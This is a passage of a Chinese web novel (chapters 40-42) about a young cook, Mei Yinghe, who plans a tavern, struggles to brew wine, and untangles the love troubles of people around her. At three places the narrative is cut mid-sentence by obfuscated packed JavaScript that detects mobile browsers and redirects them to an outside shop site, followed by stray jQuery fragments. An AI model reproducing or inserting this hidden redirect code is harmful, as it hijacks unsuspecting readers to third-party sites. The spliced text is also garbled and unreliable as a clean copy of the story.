高兴的是她越走越好,不高兴的是,她已经决定了要开酒楼,并且都在跟沈记洽谈合作细节了却不愿意告诉他。 这是将他当成外人了吗,难道还不如方才那个毛手毛脚的小子。 说曹操曹操到。 毛手毛脚的小子从灶房里走出来,手里捧着两只滚烫的烤地瓜,献宝似的捧到了梅映禾眼前,“师父快尝尝好不好吃,我烤的。” 他挤过来蹲在二人中间,仰起头十分得意地看着梅映禾,后背抵在赵行之的腿上,硬生生将他挤得站了起来。 “好吃,好甜。”梅映禾喜欢吃烤地瓜,从小就喜欢,吃不够的那种。 “七哥尝尝看。” “没有多余的了。”沈聪接话,“下次再给七哥烤吧。对了师父,我祖父让我带了一份契约过来,忙了一日差点儿给忘了,您看看吧,我有些不明白的您帮我讲讲,祖父说让您慢慢看有什么需要改动的他会亲自来跟您商量。” 这是双方合作的契约,沈茂庆很是讲究,一切条件按照梅映禾所说的草拟修改,可见诚意十足。 梅映禾接过契约书认真地看起来,一边吃着手里香甜的烤地瓜一边看着契约,完全沉浸在这冬日暖阳的氛围里,以至于专注到没留意七哥是什么时候走的。 这一日因为哥哥的回来而变得格外忙碌,铺子里忙得差不多了,梅映禾和小梅就提前回了许府,今日是阖家团圆的日子,奎叔和李婶儿也从梅花村赶了过来,梅映禾要回去露一手。 瓦块鱼、炒鳝丝、东坡肉、清蒸大虾、红烧排骨、金汤肥牛再加一个焖羊肉并几样清朝的素材,和四个凉拌菜,一桌丰盛的晚餐准备就绪。 席间梅九畴兴致勃勃地说了这次演习的事情,听得梅映禾连连惊叹,小梅则在一旁不停地给梅九畴夹菜:“九哥多吃些,你都瘦了,九哥尝尝鳝丝,小早的拿手绝活。” 梅映禾:…… 感觉自己像个外人。 梅九畴此次能休息半个多月,之后又要出去,至于具体细节便不能透露了,机密。 梅映禾也不多问,许且问到同沈记合作的事,梅映禾将自己的想法详细说了,得到了梅九畴和许且的一致赞同,许且说:“你是个心里有成算的孩子,想做的事情尽管去做,义父永远都是你的后盾。” 奎叔和李婶儿也说,“你们就放心大胆地去做,不要怕,就是做错了也没有什么,权当积累经验吧了。” 有这样全力支持又不扫兴的父母,梅映禾小小梅一起举杯敬各位长辈。 对于席间梅九畴和小梅的互动,梅映禾都看在眼里,尽管内心纳罕他们进展的神速,面上却只能波澜不惊。 晚上回到房间关起房门,梅映禾才开始审问小梅,“你们……” 她才刚一开口,小梅就倒豆子一般全都说了,“我这辈子非你哥不嫁,我们已经……” “啊,已经什么你倒是说呀。”梅映禾追问。 小梅的脸羞红了,扭捏地就是不肯说。 “拉手了?” “早就拉过了。” “那,亲上了?” 小梅看看她,鼓励道:“大胆一点。” 啊,还要再大胆,莫不是…… 脑子里出现了不可描述的画面,梅映禾呆若木鸡。 “他这么好几个月才回来一次,反正我们说好了将来是一定要成亲的,不都是早早晚晚的事,他那么辛苦,那么……” 这个大胆的姑娘哟,梅映禾不自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14403609|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉忧心起来,一整晚都没睡着。 半夜爬起来盘算着自己手里还有多少银子,除去开酒楼的剩下的都留给哥哥成亲,这事耽搁不得了,不能让小梅姐顶这么大的压力没名没分的,不然加快速度吧,合作的事得赶紧了。 原先还在不急不躁地耐着性子慢慢磨,现在却一下子压力大了起来,干脆过年之前把亲事定下来。 推开窗子,遥遥地看到管家阿叔还没有睡,梅映禾披上斗篷走出来拦住管家的去路,“阿叔这么晚了去哪里。” 管家一见是她,忙行礼道:“小娘子还没睡啊,大人在书房里说是饿了,要吃些饭食,我这去灶房看看还有什么剩下的让厨子热一热。” 梅映禾二话不说关好门道,“我去吧,我备了好吃的,就防着义父夜间要吃宵夜,你去回个话说一会儿就好。” 管家笑呵呵地转身走了,家里有个知冷知热的小娘子心疼大人是真的好。 梅映禾准备的好吃的是苏北地区的一道冬日里的下饭菜,椒子酱。 将五花肉、萝卜、豆腐干切成大小一样的丁,加入酱油、盐、葱姜爆炒,还要放花椒提味,炒至肉丁出油出香味,再放入花生米和秘制的辣酱、糖、醋炒熟后炖烂即可。 满满地做上一大锅,每次吃的时候盛出来一些加热,这道菜以鲜香麻辣为主,可以久放,且每次炖煮越炖越香,配上面便是极好的浇头,拌上米饭就是下饭菜,且营养丰富味道鲜美容易存放,是冬日必备的佳品。 果然,一大碗椒子酱拌饭被送到许且的书房的时候,老大人唇齿生津,看得管家都直流口水,自然,梅映禾多准备了一份,管家阿叔吃得狼吞虎咽连连夸赞。 许且最爱家常菜,夸道:“这道菜极具地方特色,难为你倒是用心了。” 梅映禾从小去过那个苏北小城,留下过极深刻的印象,那里民风淳朴热情好客,对吃更是兼具南北包容性极强,这道椒子酱便是当地的一位老妇人教给她的,每年冬日梅映禾都会做给师父吃。 对于同沈记合作的事,许且提醒了她两件事,“一则不可过分依赖旁人,还是要自己尽快学会酿酒。” 梅映禾点头,“是,这事我一直记在心上,所以只答应合作一年就是要倒逼自己一把。” 许且点头,意味深长地看着她,“那位沈少东家,你们年龄相仿,虽说他人也不错,家世同你也算是门当户对,可是,义父还是觉得我的小早适合更好的郎君。” 话题一下子跳转太快,梅映禾反应了一下,失笑道:“义父想多了,是合作就只是合作,旁的事我暂时不考虑,更何况哥哥和小梅姐怕是不能再拖了。” 许且一愣,好似明白了又好似没明白,点头道:“那咱们抓紧准备提亲。” 好吃食铺和沈记合作的消息不胫而走,前来吃饭的食客们纷纷祝贺,却也吸引了更多的酒楼、食肆要跟梅映禾合作,都被她婉拒了。 梅映禾又过上了马不停蹄地忙碌的日子,一边看新铺子,一边要去沈记学酿酒的技术,一边还要顾着店里的生意和合作的事,赵行之来了几次都没见到人,不是去了沈记就是跟沈少东家出去看铺子了,要么就是跟小梅姐一起准备嫁妆、聘礼去了…… 赵行之气闷,她现在好得很,才几日不见啊,万寿宴只说要谢我,连一口饭也没见着现在连见一面都难了,真是…… 一气之下赵行之打马回府,一头扎进书房里一下午都没出过门。 佑安忐忑,王爷显然是生气了,可是梅小娘子也是在忙正经事儿啊,要是想见人还是得想想法子才行,瞧那位沈少东家,笑眯眯的嘴巴又甜,就是比王爷会来事。 可是这话他却一个字都不敢说。 直到傍晚时分,书房的门被打开,赵行之走出来,冲着佑安道:“把那些书带着,去好吃食铺。” 佑安称是,转头一看,好家伙,这是把书房都搬空了吧。 40. 晋王是渣男 主仆二人拖着几个大箱子来到好吃食铺的时候,梅映禾正在忙着张罗晚食。 这两日食客越发多了起来,不为别的,就为那一碗椒子酱。 许且吃过之后力荐她将这个发扬光大,梅映禾便教了周大厨做椒子酱,果然吸引了许多食客,作为新酒楼宣传的噱头,也作为回馈食客们的热情,梅映禾还让阿十和沈聪二人负责讲解,若是有食客问起这个如何做,那便照实说,并且可以赠送一份给食客带回家去试做比对。 这份体贴和慷慨颇得赞誉,好吃食铺的美誉度又提升了。 厅里已经没了座位,梅映禾将赵行之和佑安带到了后头,“怎么带来这么些书?” 阿十和沈聪帮忙搬运,足足三个大木箱子。 佑安道:“主子特意整理......” “书房里的闲书太多了,这些没用的送给你闲来无事打发时间吧。”赵行之看了佑安一眼,佑安只敢在心里腹诽,分明就是特意翻找出来的...... 梅映禾大致翻看了一下,竟都是些有关酿酒的书,其中不乏一些古法酿酒的技术,可谓是个中珍品了,于是十分高兴,谢道:“多谢七哥。” 赵行之冷冷地睨着她,“上次的事就说要谢,这次又要谢,你的这些谢什么时候能兑现。” 懂了,这是又馋了,梅映禾灿烂一笑,“择日不如撞日,今日就兑现,七哥想吃什么。” 说完不等赵行之开口,自顾自道:“还是我来替七哥选吧,这些日子上的新菜都给七哥来一份,另外多加一份地锅鸡,对不对。” 赵行之喜欢吃地锅鸡,每次来必点,梅映禾觉得这个喜好非常好,会吃,懂吃。 饭菜上齐,梅映禾亲自为赵行之斟酒,“这次我敬七哥,多谢七哥照拂。” 小娘子个子又长高了一点点,赵行之悄悄比对了一下,已经快要够到他的下巴了,人长大了抽条后身量变得高挑起来,五官也长开了,真真是眉目如画、美若天仙。 赵行之转过视线不再看她,喝了杯中酒才道:“以后有什么事再瞒着我,定不饶你。” 梅映禾自知理亏,关于想开酒楼和同沈记合作的事她是故意没有告诉他。 “七哥冤枉我了,这也是为了七哥着想。”梅映禾解释,“一来不想让人觉得我仗势,二来不想给七哥添麻烦。” 懂事得让人心疼,赵行之的狠话被卡在喉咙里,冷脸也变得温和了许多,“我是你七哥,哪里会有什么麻烦。若是九郎,你也会觉得给他添了麻烦吗。” 这话怎么还有点儿感动呢,梅映禾的鼻子有些发酸,忍着酸涩笑着赔礼,“是我错了,是我见外了,以后我在外头捅了娄子第一时间找七哥帮我摆平,谁叫咱有靠山呢。” 她惯是会哄人的,赵行之原先堵在心口的那口闷气此刻已完全疏散,看着她求饶卖乖的样子,冰冷的一颗心瞬间被融化了。 这一餐饭吃得很是痛快,临走的时候还给佑安装了两提盒的椒子酱,佑安高兴得孩子似的。 趁着哥哥放假,梅映禾赶着小梅出去,陪着哥哥好好玩一玩,许且已经同奎叔和李婶儿说过了,因为准备聘礼不能太仓促,定下了日子,下次梅九筹回来的时候便正式提亲。 半个月转瞬即逝,梅九筹走的这日梅映禾给他包袱里塞了好些吃的,还不忘叮嘱:“哥哥,这一份是给七哥的,你别忘交给他。” 小梅则哭成了泪人,仿佛梅九筹去参战一样。 “不过是训练,没有危险的。”梅九筹抱着她安慰,“你在家里乖乖等我好不好。” “你一定要注意安全。”小梅躲在他怀里撒娇,难舍难分。 没眼看,简直没眼看。梅映禾拉着阿十和沈聪回去灶房,“走吧,让他们单独腻歪一会儿,咱们去研究方子。” 自打赵行之给了她那些书,加上沈记送来的酿酒的方子,梅映禾已经琢磨了小半个月了,酿酒是门学问,里头的门道大着呢。 酿酒“以浆为祖”“治糯为先”,浆要酸汤,米要精选。还有那些繁杂有序的步骤:卧浆、淘米、煎浆、汤米、蒸醋糜、用曲、合酵、餘米,蒸甜糜、投醹等。还有浓度纯度的提升,像花雕、女儿红、状元红的提纯方法等,数不胜数。 梅映禾是个雷厉风行的人,做什么事情很容易沉浸其中,光是研究这酒的种类就忙活了几个晚上,甜酒、辣酒、粮食酒、果子酒、花露酒......最后决定她都想试一试,尤其是小娘子们钟爱的果子酒、花露酒和乳酪酒。 “酿得好了,味道相当不错,能给酒楼带来很大的收益呢。”梅映禾热衷此道,每日孜孜不倦地忙着研究方子,酿酒、调试,再改进再调试。 这还不够,还要让店里头的人都尝一尝,说出个一二三来。 现在好吃食铺的人每日都是微醺的状态,一见人就咧着嘴乐,服务态度尤其得好。 只有小梅,因为酒量太好了怎么也喝不醉,算是店里头唯一清醒的人,用她自己的话说,“都晕了总该留一个清醒的吧,再说这账目可错不得半分。” 银子可是天大的事儿,小梅的算盘珠子拨得更响了。 这日傍晚,算算日子,哥哥走了七日了。 “说是这一次一共三十日,还差二十三日就该回来了。”小梅每日掰着手指头过日子,那份思念更甚于梅映禾这个亲妹妹。 “是是是,都说女大不中留,我算是见识了。”梅映禾打趣她,“一日不见如过三秋,古人诚不我欺。” “你不懂,等你日后有了心上人就明白我现在的感受了。”小梅大大方方地传授经验,“思念一个人的感觉真是又甜又酸,想起来过去的事儿吧,还有些辛辣的感觉,就像那......梅子酒。” “梅小娘子,你这里可有梅子酒。”一道熟悉的声音打断了二人的调侃。 小娘子通身气派华丽的装扮,珠翠满头、脂粉浓厚却掩藏不住满面愁容。 这不是梁诗云吗,梁家五娘子,未来的晋王妃。 梅映禾不敢怠慢,赶紧上前将人迎进包间里,刚收拾出来的包间,阿十还特意喷了花露,味道格外清新,很得五娘子心意。 “这是小店的菜单,不知小娘子想吃点儿什么。”对于这位未来七嫂梅映禾十分恭敬,双手奉上菜单。 美人面带愁容,容色黯淡无光,淡淡道:“他平日里来都吃什么,店主便为我照样送来便是。” 他? 梅映禾瞬间反应过来,她说的应当是七哥。 “晋王殿下平日不怎么......” 她话未说完便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411814|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被梁诗云锐利的眼神打断,“你们不是很熟吗,平日小娘子也是这般称呼云策哥哥的?” 梅映禾:...... 这不会又是来找茬的吧。 自知说话有些失了分寸,梁诗云即刻收了情绪,“对不住,我这几日心绪不佳,还请小娘子莫要见怪。” 为情所困的人多少有些神经质,比如外头那位小梅姐,只不过一个是热火朝天一个是冷若冰霜。 既如此,梅映禾也不多说,捡着几样七哥平日爱吃的菜送了过来,又专门为她特调了味道浓烈却不醉人的梅子酒。 “梁娘子慢用。”梅映禾想要退出去却被梁诗云叫住,“小娘子等一下,你若是得闲,能否陪我聊一聊。” 梅映禾没有恋爱的经验,更不会安慰人,正踌躇着怎么婉拒,就听梁诗云身后的婢女说:“店主娘子就陪我们娘子聊聊吧,娘子这些日子太难熬了。” 罢了,聊就聊吧,梅映禾叮嘱自己,千万莫要多说话。 “他自从万寿宴之后便再没见过我,也不来找我。”声音幽怨,泪水盈满眼眶。 梅映禾道:“听说是出去演习了。” 梁诗云惊讶地看着她,大约是震惊她怎会知晓得如此清楚。 “我哥哥也在军中。”梅映禾赶紧解释,“前几日刚回来,现又走了。” 说起哥哥,眼神不自觉地飘向外厅的小梅,这会儿食客不多,小梅正一个人托着腮发呆。 哎,这一个两个的。 梁诗云点了点头,“我知道的,只是他回来这半个月也未曾见我一面。我实在等不得,亲自到府中拜访,他却也闭门不见。” “或许是不在家中。”梅映禾试图替赵行之解释。 “门房回话说王爷不愿见。”梁诗云的眼泪再止不住了,滑落下来,看着真叫人心疼。 梅映禾:...... 这还真是七哥的风格,话是一定要说绝的。 “全京城都知道我是未来王妃,是晋王殿下亲自选了我,并送上这枚玉佩。”梁诗云哭泣道,“那他现在这般对我算什么,让我好端端成了京城的笑柄。” 想起七哥那日说过的话,“我不会娶任何人”,当时梅映禾还觉得他思想开放洒脱,现在看...... 渣男。 不娶干吗要给人希望,不是渣男是什么。 “五娘子莫要伤心。”出于对女同胞的情谊,梅映禾劝道,“为了一个男子不值得伤了自己的身心。” “怎么不值得,我从小就爱慕他,他就像天上的星星,那么璀璨夺目,你可知道,京城多少女子梦寐以求做他的妻,甚至妾都心甘情愿。可是他却独独选中了我,若说他对我一点情意都没有,我是不信的,可是既然选了我为何又要冷落我。” 完了,中毒太深,不太好劝了。 “或许应当找个机会好好深入谈一谈。”梅映禾这时只想尽快结束这个话题,逃离。 “可是他连这样的机会都不给我。”说到伤心处,梁诗云又一次落泪。 “那你便去堵门,去他府上坐着等,反正他也不会将你赶出来。” 说这话的是沈聪,“师父,原来你那位七哥是晋王殿下啊,原来大隶的英雄晋王殿下竟然是个伤美人心的登徒子。” 41. 走火入魔 纵然心里觉得在对待梁诗云这件事情的确是七哥做得不对,可是从旁人嘴里听到这种骂他是登徒子的话,梅映禾总觉得心里不舒服,却又无力反驳。 她承认自己是个帮亲不帮理的人,可是,七哥这事做得的确不是那么回事。 心里想着却不知该如何接话,只得借着菜点劝慰梁诗云,“五娘子还是先吃些东西再讨伐不迟,天下大事吃饭第一,区区一个男子而已,犯不上。” 梁诗云拭泪,这才定睛去看那些菜肴,面露微讶却终究没有说出口,默默拿起筷箸品尝。 地锅鸡、清蒸鱼、小炒黄牛肉、粉蒸蟹还有一道辣炒土豆丝和一份香菇青菜,都是家常菜点,梅映禾没有特意做什么,也没有像她要求的特意按照赵行之的口味做菜。 因为七哥每次来吃什么都觉得好吃,所以她也说不出他最爱哪一口。 梁诗云十分认真地将每一道菜都尝了个遍,这才开口: “方才我还不信,现在我信了。” 什么信不信的,梅映禾不明所以。 “这些家常菜的确做得好吃。”梁诗云的筷箸没停,边吃边说,“难怪你这里能治好他的顽疾,你可知道,这么些年宫里头的御厨和太医都拿他的厌食症束手无策呢。” 梅映禾:…… 谁,厌食症! 看她一脸惊讶,梁诗云也很诧异,“怎么,你不知道他有厌食症?” 梅映禾摇头。 “他来你这里从来没有表现出来?” “他每次都吃得极开心,从未发现七哥竟然还有厌食症。” 梅映禾一脸坦诚,梁诗云抚掌,“这就对了,秘诀就在这里。” 她手里的筷箸点着菜肴,“我是个吃东西挑剔的,你这里的东西不甚精致却胜在味道上,是真的好吃。” 嘴巴停不下来,一口接一口,有了好吃的人的心情也就不一样了,五娘子肉眼可见地愉悦起来,还不忘向梅映禾取经: “这鲈鱼你是从哪一家买的,回头让我家厨子过来跟你讨教,你教教他这个做法。” “这道地锅鸡我很喜欢,恐怕是有秘方的,我也不问你要了,日后我常来吃。” “还有这个青菜,是用高汤炒的吧,你可真有办法。” …… 是个爱吃且舌头灵的小娘子,梅映禾起先心里还惦记着七哥的厌食症究竟是怎么回事,后来实在是被梁诗云的情绪感染了,若是放在后世她做吃播实在太合适不过了,吃得又香又美还很优雅很沉浸,还时不时说出一两句极专业的点评,这种小娘子怎么可能为情所困得太久呢。 果然,话题回归到感情问题上,梁诗云一下子就想通了,“我想过了,方才你说得很是,天下大事吃饭第一,他纵然再好,这样戏耍我不看重我,我也不应当在他身上浪费时间。” 这话对,梅映禾如释重负,“五娘子真是聪慧。” 这句赞美是由心而发的。 “最近清河村的梅花开得极好,不如我们去赏梅吧。”沈聪提议。 “好,好极了。我早就想去看了。”梁诗云第一时间赞同,方才还蜡黄的期期艾艾的一张小脸变得红润开怀起来。 “我就不去了,最近在忙新酒楼筹备的事。”梅映禾推辞,“快过年了,还要琢磨年夜饭的菜单子,还要学酿酒……” “也是,这里都是你一个人忙活。”梁诗云倒是不强求,“我回去跟爹爹说,今年府上的年夜饭就从你这里定了。对了,这个地锅鸡我一定要。” 梅映禾失笑,“好嘞,您说了算。” 这就预定出去一桌了,还真是个爽朗又可爱的小娘子。 “不过你这酒嘛……”五娘子皱眉头,勉强又喝下一口梅映禾特意奉上的引以为豪的梅子酒,摇头道:“实在差强人意,不酸不甜不辣,你是不是兑水兑多了。” 梅映禾:…… 真是个心直口快的小娘子。 这样的话被问到脸上,梅映禾知道梁诗云这是没把她当外人,有心请教道:“不好喝吗,那五娘子平日都喜欢喝哪里的酒。” “我嘛,兰桂坊的酸乳酿,东真楼的青瓜浆,还有天阁阙的一品香都很喜欢。”梁诗云又看了一眼杯中酒,“你这个嘛,真的太难喝了。” 梅映禾很是无语,可是店里的人都说好喝啊…… “我说的这几种是我爱喝的,也是京中小娘子们爱喝的,再给你推荐几种男子们爱喝的酒,都是我的哥哥们常念叨的,比如玉冰烧、羊羔酒、琼液酒、雪花酒、蓝尾酒、丰和春、皇都春、齐云清露、第一江山、雪堂义樽……哎呀太多了,你可以去酒坊里买来尝尝。” 的确给出了中肯的意见和清晰的思路,梅映禾觉得很有收获。 可是收获归收获,自信心是彻底被打击了。 先前忙活了大半个月,酿出来的酒拿给店里头的人品尝,没有一个不说好喝的,这究竟是怎么一回事。 午食过后,梅映禾看着面前站着一排人,周大厨、周嫂、阿十、小梅姐、张婶儿还有小九和拾一拾二…… “小九,没你们的事,带拾一拾二出去玩。” 小九得令,同情地看了一眼几个人,带着两小只狸奴屁颠屁颠地跑出去晒太阳去了。 “东家,我们没有骗你,真的觉得好喝。”周大厨先开口,“你看我灶房里还有那么多事……” 梅映禾一个眼风扫过去,周大厨闭了嘴,还不忘用胳膊肘捅了捅身边的周嫂。 “是啊东家,我们的确觉得很好喝啊。”周嫂是个老实人,不会撒谎,一本正经地。 “我也觉得好喝。”阿十理直气壮,“我每天晚上吃宵夜都会喝两杯呢。” “我没怎么喝过酒,但是我觉得你酿的酒不难喝啊。”小梅信誓旦旦。 “是挺好喝的,东家你要有信心。”张婶儿也很真诚。 梅映禾:…… 看着都不像撒谎的,所以,梅映禾想通了。 这些人都是穷苦百姓,不似梁诗云那样的豪门大户,没喝过什么好酒,这是其一;其二,他们多少对梅映禾都有滤镜,别管她做什么这几个人都是全力支持赞同,所以…… 罢了罢了,毕竟做大酒楼面对的食客还得是有钱人,改吧,从头来过。 大家都松了一口气,但是没过几天才发现问题似乎更严重了。 自打好吃食铺开张至今也有小半年了,梅映禾没有一日不来铺子里的,而且都是早早地来很晚才走。 可是这几日,已经连续十日都没见到她的身影了。 今日又是小梅一个人来了铺子上,进门就叹气:“我喊不动她。” “东家还在忙酿酒的事?”张婶儿满面愁容。 小梅摇头,“何止,酿了酒自己喝,这会儿又把自己喝倒了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14419675|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人面面相觑,一声叹息后各自去忙了。 这一日,梅映禾又是一觉睡到了日上三竿,起来的时候已经错过了午食。 没关系,自己简单鼓捣点儿吃的垫吧垫吧就又开始琢磨酿酒的事了。 虽说先前有契约在,沈记负责教会她酿酒,可是讲真心话,沈记的菜的确一绝,但是酒水就很一般,所以其实沈记已经倾囊相助了,无奈实在不善此道。 再加上这几日沈聪都不知道跑到哪里去了,已经好几日没露面了,梅映禾也无暇顾及,一猛子扎进酿酒的事情里再拔不出来了。 买酒曲调配方,再把五娘子说的那些酒都买来喝了个遍,梅映禾整日醉醺醺的,也顾不得整理容貌和发髻,整日只用一根木簪将长发松松挽在脑后,洗把脸就投入酿酒事业中。 除了自己喝,她还会在每日下午准备一些下酒菜并毛豆、蚕豆、臭豆腐等,待许且回来父女两个就开始品酒,能一直喝到子时。 许且给了她许多意见,梅映禾觉得自己每日都有新的收获,怕忘记顺手拿笔记下来,只是喝得醉醺醺的,本来那一笔龙飞凤舞的字就更加放飞自我了,第二日酒醒愣是对着那些字发呆,怎么都看不出那些是字。 小梅再次劝她的时候,又过了小半个月,眼看着好容易养得稍微胖了一点的梅映禾又瘦了回去,小梅说什么都不能让她留在家里,死活将她拖上车。 “去哪啊。”梅映禾还没怎么太清醒,“我不去铺子上,没脸见人。” “你还知道没脸见人啊。”小梅看着她松松垮垮的样子,斥道:“带你出去转转,你一个人憋在家里就是钻牛角尖,得出来见见人,说不定会有不一样的灵感。” “这不是灵感的问题,是比例的问题,我怎么都掌握不好比例,还有一些……配料,我也搞不明白。” 梅映禾开始抹眼泪了,“怎么办啊,酿不了酒就开不了酒楼……” 小梅知道她从小就哭起来没个完,赶紧软声哄她,“不会的,你放松几天说不定就有主意了,再不行咱们就多花些银子买人家的方子。” “那多贵啊。”梅映禾哭花了脸,“那么多酒都要买人家的方子吗,那不就把银子都花光了,我还想买铺子买宅子呢。” 哟,小娘子好大的愿望啊。 小梅道:“可是你这样走火入魔了,身子都垮了。” “小梅姐,你别管我了,你就当我是……”梅映禾哭得清醒了几分,看着小梅想了想,“你就当我是坠入情网难以自拔了吧。” 小梅:…… 懂了,不劝了。 她哭了一路,小梅帮她擦了一路的眼泪,倒是把人哭醒了。 可怜的小娘子却也想不到,铺子里还有一个整日等她等不到也快哭了的文明修。 先前说过要给梅映禾送秋茶的文明修,好容易等到茶送到了京城,眼看着已经入冬了,可是答应的事不能食言。 文明修日日来铺子上找梅映禾,日日见不到人,听说她在家里埋头苦干研究酿酒,文明修却怎么都提不起勇气登许且的门。 可是日日都来找小娘子,作为读书人出身的文明修觉得对小娘子的名声不好,于是乎刚刚荣升五品户部侍郎的文明修,借着升迁为由头日日请同僚吃饭,只为有一日能见到梅小娘子。 眼看快一个月了,就在文侍郎快要请不起客的时候,梅映禾终于来了铺子上。 42. 豁然开朗 第42章豁然开朗 梅映禾到店里的时候其实已经过了午食,三三两两还未吃完的客人还在闲适聊天,梅映禾一眼就看到了里头五人当中的文明修。 本已喝了几杯酒略微有些脸红的文大人,在看到小娘子的那一刻脸红得更甚了,日日焦急等待的人猛然出现在眼前,竟还有些晃神。 其实梅映禾今日也不打算来铺子上的,只是小梅说了一句,“你若再不去,恐怕那文大人这个月的月银都交到咱们铺子了。” 看了一眼桌上七八个菜和两壶酒,梅映禾相信了小梅所言非虚,日日都来这样吃一桌子菜,的确是会吃穷的。 “文大人请坐。”梅映禾主动上前打招呼,并让阿十告诉周大厨,“再给这边加一道汤羹。” 五人赶忙起身道谢,落座后文明修拿出一个包袱递给她,“这是托家中亲友给寄过来的秋茶,说是秋茶寄到京城也已经冬日了。” 这个时代车马很慢,但是这份心意却如这冬日里最灿烂的阳光,带着温热。 梅映禾感激,赶紧收下道谢,这才看到文明修有些略微发肿的手背。 “文大人的手怎么了,可是入冬生了冻疮。” 虽说入了冬可还未冷到生冻疮的地步,况且文明修一个做官的人也不至于如那些仆妇一般,一双手日日泡在冷水里,怎会如此严重。 看着梅映禾十分诧异又关切的眼神,起初文明修还想躲,谁知同来的同僚因酒劲上头,加之又看到了美人店主,人兴奋起来话也变得稠密: “小娘子不知,这不是冻疮,是万寿宴上被人打的。” “文大人运气不好,明明诗词歌赋无人能及,若是比拼必定大放异彩,谁知却抽中了比武。” “不要这样说,小娘子也不是外人,分明就是某位皇家的王爷看咱们这些文官不顺眼,这才故意拿了文大人做筏子,哼,简直如同传闻一般无二的蛮横霸道。” 梅映禾:…… 七哥。 文明修搓了搓手,有些窘迫道:“你莫听他们胡说,没有的事,当时比拼也是抽签,对方是谁我也并不认识,只是自己技不如人罢了。” 文官武将素来针锋相对不相和,这是老百姓都知道的事。 一个文官竟然抽到比武,这本就让人起疑,梅映禾后来也听闻那日比拼的事,还是从薛展那里窥探出了端倪,听说薛展被赵行之打得卧床不起,这很难让她相信是巧合,可是文大人又不曾得罪过他,难不成真如大家所言,赵行之也对文臣十分不满…… 再想起他那样对待梁诗云,梅映禾心里头隐隐生出一丝不快,赶紧让小梅拿出金疮药膏,“这是一个朋友送予我的,文大人拿去用,马上天冷了莫要在这些伤口上生出冻疮才好。” 一个提笔写字的人,手是多么重要。 文明修也不推辞,笑着道谢,抿唇道:“我听说你学酿酒颇有些不顺,还是不要急躁,千万顾惜自己的身体。” 梅映禾点头,“我这个人有时候钻牛角尖很难出来。” 她了解自己的毛病,可是身上背了那股劲儿,不做成就很难罢手,那种感觉百爪挠心实在让人焦躁不安。 这时候那几位同僚听到了二人的聊天,插话道: “实话说,小娘子的酒虽不及那名酒坊的好喝,其实味道也不差的。” “小娘子莫要苛刻自己,这酿酒就如同读书,总有过不去的坎儿,缓一缓或许柳暗花明不攻自破了。” 梅映禾很感激大家的安慰,笑着道谢,看文明修似乎还有话说,索性让阿十拿来热水,“我刚好想要尝一尝这茶。” 文明修自然不会推辞,二人就在旁边一桌坐下来,泡着热茶说话。 “我这里还有几样茶点,我去拿来,文大人尝一尝。” 茶点是梅映禾闲来无事做来当零嘴的,都是收集起来的葵花籽、南瓜籽并黑白芝麻以及葡萄干、梅子干等,大块的干果捏碎切小,拌在一起,用蜜和蔗糖裹了放在模具里头,像做糖人一般用糖将它们做成圆饼或方块,因为略带些甜味,配上微苦的茶水相得益彰。 “这点心很好。”文明修从不吝啬对梅映禾的称赞,“小早是个聪明人,人生就像这茶,泡得久了才会更出味道,可是若是太久了也就寡淡了。酿酒也是,恰到好处很难掌握,但总能达到最佳的口感,所谓事缓则圆,莫要急躁。” 梅映禾点头,听着他温声细语的劝导,人也变得平静下来。 文明修是个安静且极有耐心的人,说出来的话也是点到即止,这种性子很能给人温暖,梅映禾道:“多谢,我知道是我太急了,从小到大都是这样,做什么事做不好整个人就会变得特别紧绷,让身边的人也倍感压力。” “身边的人会理解的。”文明修跟阿十要来小炉,重新煮了一壶茶,“你瞧,这茶叶煮过之后的口感和泡出来的口感又有不同,而且不同的茶适合不同的方式,也有更合适的茶壶。” 就像酿酒一样,发酵的时间和方法各有不同,所用的瓮罐也大有讲究,其中每一道工序都十分精细。 读书人性子温柔,说起话来慢条斯理,很能让人听得进去。 午时刚过,阳光斜斜地照进来,梅映禾抬头看到他周身被照亮了一圈光晕,将本就白净秀气的郎君衬托得更加文雅英俊。 看到梅映禾在看自己,文明修手上的动作停止一瞬,滚烫的茶水斟满杯盏溢了出来。 “呀。”滚水烫到了另一只扶着杯盏的手,立刻通红一片。 梅映禾赶紧拿药膏给他敷上,小娘子柔嫩细软的指腹在他的手背上细细涂抹,像那春日的柳絮拂面而来,痒痒的。 